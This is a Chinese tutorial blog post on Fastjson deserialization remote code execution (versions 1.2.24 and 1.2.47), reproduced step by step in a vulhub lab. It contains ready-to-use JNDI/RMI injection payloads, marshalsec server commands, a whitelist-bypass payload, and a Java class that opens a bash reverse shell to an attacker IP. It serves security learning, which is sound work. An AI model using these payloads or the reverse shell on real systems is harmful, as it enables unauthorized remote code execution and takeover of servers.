当前位置:   article > 正文

Java安全篇-Fastjson漏洞

fastjson漏洞

前言知识:

一、json

概念:

json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。

格式:
  1. {
  2.         "name":"wenda",
  3.         "age":21,
  4. }
 作用:

JSON 可以作为一个对象或者字符串存在,前者用于解读 JSON 中的数据,后者用于通过网络传输 JSON 数据。这不是一个大事件——JavaScript 提供一个全局的 可访问的 JSON 对象来对这两种数据进行转换。

二、Fastjson漏洞

原理:

Fastjson是一个由阿里巴巴开源的Java库,用于将 Java 对象转换成其 JSON 表示形式,也可以用来将 JSON 字符串转换成等效的 Java 对象,与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,引进了AutoType功能,在反序列化的过程中,会读取到@type的内容,还调用getter和setter方法将JSON字符串还原成对象。,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

为何引进 AutoType功能:

即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,

指纹特征:

任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样

危害:

远程代码执行

影响版本:

影响版本:Fastjson1.2.24及之前版本。

代码审计:

参考

fastjson反序列化原理分析 - FreeBuf网络安全行业门户

复现:

Java安全篇--Fastjson1.2.24-RCE漏洞

1.RMI攻击

RMI 全称 Remote Method Invocation,是 JAVA 实现远程过程调用的应用程序编程接口,存储于 java.rmi 包中,使用期方法调用对象时,必须实现 Remote远程接口。它可以让客户机上运行的程序调用远程服务器上的对象。而远程方法调用的特性可以让开发者能够在网络环境中分布操作。RMI 宗旨就是尽可能简化远程接口对象的使用。

REDEME.md

  1. fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
  2. 参考资料:
  3. - https://www.freebuf.com/vuls/208339.html
  4. - http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
  5. ## 漏洞环境
  6. 运行测试环境:
  7. ```
  8. docker compose up -d
  9. ```
  10. 环境运行后,访问`http://your-ip:8090`即可看到JSON格式的输出。
  11. 我们向这个地址POST一个JSON对象,即可更新服务端的信息:
  12. ```
  13. curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
  14. ```
  15. ## 漏洞复现
  16. 因为目标环境是Java 8u102,没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制,我们可以使用`com.sun.rowset.JdbcRowSetImpl`的利用链,借助JNDI注入来执行命令。
  17. 首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`:
  18. ```java
  19. // javac TouchFile.java
  20. import java.lang.Runtime;
  21. import java.lang.Process;
  22. public class TouchFile {
  23. static {
  24. try {
  25. Runtime rt = Runtime.getRuntime();
  26. String[] commands = {"touch", "/tmp/success"};
  27. Process pc = rt.exec(commands);
  28. pc.waitFor();
  29. } catch (Exception e) {
  30. // do nothing
  31. }
  32. }
  33. }
  34. ```
  35. 然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目,启动一个RMI服务器,监听9999端口,并制定加载远程类`TouchFile.class`:
  36. ```shell
  37. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
  38. ```
  39. 向靶场服务器发送Payload,带上RMI的地址:
  40. ```
  41. POST / HTTP/1.1
  42. Host: your-ip:8090
  43. Accept-Encoding: gzip, deflate
  44. Accept: */*
  45. Accept-Language: en
  46. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  47. Connection: close
  48. Content-Type: application/json
  49. Content-Length: 160
  50. {
  51. "b":{
  52. "@type":"com.sun.rowset.JdbcRowSetImpl",
  53. "dataSourceName":"rmi://evil.com:9999/TouchFile",
  54. "autoCommit":true
  55. }
  56. }
  57. ```
  58. 可见,命令`touch /tmp/success`已成功执行:

打开环境 抓包得到

 修改为POST传参 再修改type 和传入json数据 发现name变了

说明咱们就可以POST传参了  为后面传paylaod做准备

 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件

注意 这里的IP为你的攻击机IP

  1. // javac TouchFile.java
  2. import java.lang.Runtime;
  3. import java.lang.Process;
  4. public class TouchFile {
  5. static {
  6. try {
  7. Runtime rt = Runtime.getRuntime();
  8. String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.85.136/2333 0>&1"};
  9. Process pc = rt.exec(commands);
  10. pc.waitFor();
  11. } catch (Exception e) {
  12. // do nothing
  13. }
  14. }
  15. }

编译为.class文件  jdk环境为1.8 高环境实现不了远程调用

javac TouchFile.java

把编译好的class文件传到kali(攻击机)中 ,可以选择scp命令复制

在class文件所在的目录,Python起一个http服务。用80端口启动http服务的命令为:

python3 -m http.server 80

利用marshalsec工具(需要maven环境编译)启动RMI服务

 marshalsec工具下载地址

git clone https://github.com/mbechler/marshalsec

安装maven

  1. apt-get update
  2. apt-get install maven

进入marshalsec目录,执行如下命令进行编译。

mvn clean package -DskipTests

 启动RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.136:80/#TouchFile" 9999

然后重新访问靶场 抓包修改为Content-Typeapplication/json,发送payload

  1. POST / HTTP/1.1
  2. Host: 192.168.85.129:8090
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate, br
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/json
  10. Content-Length: 170
  11. {
  12. "b":{
  13. "@type":"com.sun.rowset.JdbcRowSetImpl",
  14. "dataSourceName":"rmi://192.168.85.136:9999/TouchFile",
  15. "autoCommit":true
  16. }

 httpserver收到请求,RMI服务器收到请求,复现成功

此时应该已经完成了漏洞复现,我们检测一下是否在tmp目录touch创建了文件successFrank即可。运行docker ps查看容器id 进入容器,执行

docker exec -it 容器id /bin/bash
2.反弹shell攻击 

Fastjson反序列化漏洞原理与漏洞复现(CVE-2017-18349)_fastjson反序列化漏洞cve-CSDN博客

3.修复方案:

 将Fastjson升级至最新版本

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客

Java安全篇--Fastjson1.2.47-RCE漏洞4

概念:

fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在fastjson< =1.2.47的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令

 其实这个漏洞利用跟1.2.24差不多,就是最后上传的payload进行更改

{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:9999/Exploit", "autoCommit":true } }

一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户

fastjson 1.2.47 RCE漏洞保姆级复现 - FreeBuf网络安全行业门户

修复方案:

升级至最新版本即可

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/870059
推荐阅读
相关标签
  

闽ICP备14008679号